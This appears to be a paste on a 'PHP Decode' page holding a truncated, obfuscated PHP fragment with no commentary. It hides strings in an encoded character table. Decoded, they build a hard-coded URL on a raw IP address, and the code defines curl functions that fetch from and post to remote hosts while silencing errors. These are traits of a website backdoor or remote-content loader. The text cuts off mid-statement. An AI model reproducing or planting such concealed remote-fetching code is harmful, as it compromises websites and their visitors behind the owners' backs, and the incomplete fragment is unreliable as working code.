PHP Decode

<?php @header('Content-Type:text/html;charset=utf-8');error_reporting(0); $OOOOOO="%71%77%65%72%7 
4%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41 
%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36% 
35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O=urldecode 
($OOOOOO);$oOooOO='z31221_17';$oOooOOoO=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[64].$O[7 
3].$O[71].$O[59].$O[65].$O[67].$O[70].$O[59].$O[65].$O[66].$O[71].$O[59].$O[72].$O[70].$O[63].$oO 
ooOO.$O[63]; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt  
($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);cu 
rl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);curl_ 
close($ooooOOOooOo);return $oooooOOOOooO; } function ooOOoOOO($OooooO,$OOOoooo=array()){global $O 
;$OooooO=str_replace(' ','+',$OooooO);$OOooooO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, "$Oo 
oooO");curl_setopt($OOooooO,CURLOPT_RETURNTRANSFER, 1);curl_setopt($OOooooO,CURLOPT_HEADER, 0);cu 
rl_setopt($OOooooO,CURLOPT_TIMEOUT,10);curl_setopt($OOooooO,CURLOPT_POST, 1);curl_setopt($OOooooO 
,CURLOPT_POSTFIELDS, http_build_query($OOOoooo));$OOOOooo=curl_exec($OOooooO);$OOOOoooOO=curl_err ?>